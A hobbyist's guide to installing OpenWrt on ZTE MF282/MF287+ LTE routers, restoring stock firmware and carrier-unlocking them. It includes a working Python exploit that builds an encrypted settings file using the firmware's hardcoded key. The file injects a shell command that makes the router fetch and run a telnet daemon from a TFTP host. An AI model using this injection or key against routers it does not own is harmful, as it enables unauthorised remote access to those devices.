OpenWrt on the ZTE MF282/MF287+ (DreiTube/HuiTube and DreiNeo)

The ZTE MF282 aka 3 HuiTube / DreiTube and the ZTE MF287+ aka DreiNeo are both routers with integrated LTE modem, made exclusively for the network operator 3 in Austria. I ported OpenWrt to both devices and found an easy-to-use unlocking method for both devices.

There is an older version called “3Neo” which has an older modem. It is supported by the same software, all instructions apply.

The MF282 is supported by OpenWrt 23.x onwards. In order to install it, you need to disassemble the device, attach serial console and perform a few commands in the UART shell.

See the git commit at https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=590d1fd0e636f627bbfeb988909ec36cc5450a3b for installation instructions.

The newer MF287+ is more powerful than the MF282 and features four Gigabit-ports, a quad-core CPU and a CAT12 LTE modem. Since it can be had for less than €10,- used, it is a bargain!

You need an exploit to get access to the stock firmware. Prepare the following:

• TFTP server - tftpd-hpa on Linux is tested, but tftpd32 should work as well
• Static build of busybox for ARM, e.g. from https://busybox.net/downloads/binaries/1.21.1/ (Pick ARMV7 version)
• Rename busybox to “telnetd” and put it to your TFTP root directory
• Download the exploit.dat from https://cloud.aboehler.at/index.php/s/GDixspLf4jgg8pT. Please use the password nzjmaBARoM
• Put the OpenWrt factory.bin file to your TFTP directory as zte.bin
• Assign your computer the IP address 192.168.0.22

Now you can actually exploit the web interface and get access via Telnet.

1. Log in to the web interface of your router, go to settings restore and use the file “exploit.dat” as the file to restore. Accept the message that the router is going to be restarted - don't worry, it won't restart.
2. Watch your TFTP server serving the file “telnetd”
3. Use a Telnet client and connect to 192.168.0.1
4. Login as user “admin” and password “admin”
5. Execute the following commands to take a backup and to install OpenWrt (NB: Instead of using tftp, you should also be able to use scp from the router):

cd /tmp
cat /dev/ubi0_0 > /tmp/ubi0_0
cat /dev/ubi0_1 > /tmp/ubi0_1
tftp -p -l /tmp/ubi0_0 -r ubi0_0 192.168.0.22
tftp -p -l /tmp/ubi0_1 -r ubi0_1 192.168.0.22
rm /tmp/ubi0*
tftp -g -r zte.bin 192.168.0.22
cat /proc/driver/sensor_id
flash_erase /dev/mtd13 0 0
dd if=zte.bin of=/dev/mtdblock13 bs=131072
reboot

After the Reboot, OpenWrt is installed!

This method requires disassembly and serial access. The following pictures and instructions detail this process:

• Remove the battery cover and unscrew four screws at the bottom
• Remove the four white rubber covers on the back and remove the screws
• Pry open the back cover (where all the LAN ports are)
• Remove four screws; two can be seen on the top, two are at the bottom. Once they are removed, you can slide-out the main board
• Remove two more screws holding the antenna at the back in place
• Beneath the antenna, the UART pins can be found
• Connect serial console with 115200 8N1 and start a terminal program

There is a pending PR for adding OpenWrt support to this device. Before it is accepted, you need to build from my personal github at https://github.com/andyboeh/openwrt/tree/zte_mf287plus

You need the two files ubi0_0 and ubi0_1 you downloaded during the installation of OpenWrt. If you are already running OpenWrt, you need to flash an initramfs version first - for this, simply install the -recovery.bin version using sysupgrade as usual.

Once rebooted, transfer the files ubi0_0 and ubi0_1 to your router to /tmp. Then, run the following commands to restore back to stock - the “ls” command is used to get the sizes of kernel and rootfs. Replace $kernel_length by the value you got for ubi0_0 and $rootfs_size by the value you got for ubi0_1.

ls -l /tmp/ubi0*
ubiattach -m 14
ubirmvol /dev/ubi0 -N kernel
ubirmvol /dev/ubi0 -N rootfs
ubirmvol /dev/ubi0 -N rootfs_data
ubimkvol /dev/ubi0 -N kernel -s $kernel_length
ubimkvol /dev/ubi0 -N ubi_rootfs -s $rootfs_size
ubiupdatevol /dev/ubi0_0 /tmp/ubi0_0
ubiupdatevol /dev/ubi0_1 /tmp/ubi0_1
reboot

The system should reboot into the stock firmware.

Both devices are usually carrier-locked and as of the time of this writing no official unlocking methods exist: No website provides unlocking codes and the network operator refuses to unlock the device as well.

In order to reduce E-Waste, I describe a method that I found in some international online forums. To be fair, I was very sceptical to run random commands found in a forum on my device, but it worked flawlessly on one MF282 and two MF287+ devices.

The required software is an open source utility to interact with Qualcomm modem chipsets, available at https://github.com/forth32/qtools

NB: If you are already running OpenWrt, you can skip disassembly and download the initramfs build. However, you will have to install “qcommand”, a static build will be available soon.

• Disassemble your device
• Download an OpenWrt initramfs build for your device that includes qtools from https://cloud.aboehler.at/index.php/s/GDixspLf4jgg8pT. Please use the password nzjmaBARoM
• Set up a TFTP service and put the initramfs file as “openwrt.bin” to your TFTP server
• Configure your network adapter to 192.168.1.100
• Attach a network cable and serial console and start a terminal program with 115200 8N1 settings
• Power the device and interrupt U-Boot by pressing a key when prompted
• Boot OpenWrt from RAM by running

setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.1
tftpboot 0x82000000 openwrt.bin
bootm 0x82000000

• After a few minutes, OpenWrt has started
• Run the following commands to carrier-unlock your device

qcommand -e -c "c 27 40 1f 46 30 41 41"
qcommand -e -c "c 29 02 00"

• Wait a few minutes until the LTE modem has rebooted (watch the log by calling logread -f. You will see a USB disconnect and later a USB connect
• Disconnect power

After the unlock, the modem does not register on the network by itself. Using AT commands at /dev/ttyUSB1, registration can be set to automatic mode and it will work (check the commands AT+ZSEC, AT+COPS, AT+CREG and AT+CFUN. I did something like (this is from memory, the order could be different and some commands are maybe not required):

AT+ZSEC?
AT+COPS?
AT+COPS=0,0,HoT
AT+CREG=1
AT+CFUN=1,1

The command AT+ZSEC? displays the state of the network lock. It should report ZSEC=3,0 if the unlocking process was successful.

Should you require more details for any of the steps provided, please have a look at the excellent documentation in the OpenWrt Wiki at https://openwrt.org. If you're still not getting along, then this procedure is not for you.

The settings file of the MF287+ is obfuscated and encrypted. Fortunately, the algorithm isn't very complicated and could be easily decompiled using Ghidra. The following Python script creates the “exploit.dat” file as linked to above:

#!/usr/bin/env python
 
import os
import sys
import subprocess
import tempfile
import struct
import shutil
import hashlib
 
class TelnetEnabler(object):
    def __init__(self, filepath, directory):
        self.openssl = None
        self.filepath = filepath
        self.directory = directory
        self.check_openssl()
 
    def decrypt_file(self):
        if os.path.exists(self.filepath):
            print(f"Output file already exists: {self.filepath}")
            return False
 
        exploit = ";zte_debug.sh 192.168.0.22 telnetd; sleep 3600\n"
        out = bytearray()
        for char in exploit:
            if char != '\n' or char != '\t' or char != '\0':
                out.append(ord(char) ^ 0x1f)
            else:
                out.append(ord(char))
        fp = open(self.directory + os.path.sep + "decrypted.txt", "wb")
        fp.write(out)
        fp.close()
 
        ret = subprocess.run([self.openssl, "enc", "-aes-128-cbc", "-out", self.filepath, "-in", self.directory + os.path.sep + "decrypted.txt", "-pass", "pass:DA69C84B145A11040DBF6363C136DC71", "-md", "md5"])
        if ret.returncode != 0:
            print("Error encrypting file")
            return False
 
 
 
    def which(self, program):
        def is_exe(fpath):
            return os.path.isfile(fpath) and os.access(fpath, os.X_OK)
 
        fpath, fname = os.path.split(program)
        if fpath:
            if is_exe(program):
                return program
        else:
            for path in os.environ["PATH"].split(os.pathsep):
                path = path.strip('"')
                exe_file = os.path.join(path, program)
                if is_exe(exe_file):
                    return exe_file
 
        return None
 
    def check_openssl(self):
        self.openssl = self.which("openssl")
        if self.openssl:
            ret = subprocess.run([self.openssl, "version"], stdout = subprocess.PIPE,
                                 universal_newlines = True)
            if ret.returncode == 0:
                version = ret.stdout.replace('\n', '')
                return version
 
        return False
 
if len(sys.argv) < 2:
    print("Usage: exploit.py configure.bin")
    sys.exit(1)
 
with tempfile.TemporaryDirectory() as tempdir:
    enabler = TelnetEnabler(sys.argv[1], tempdir)
    enabler.decrypt_file()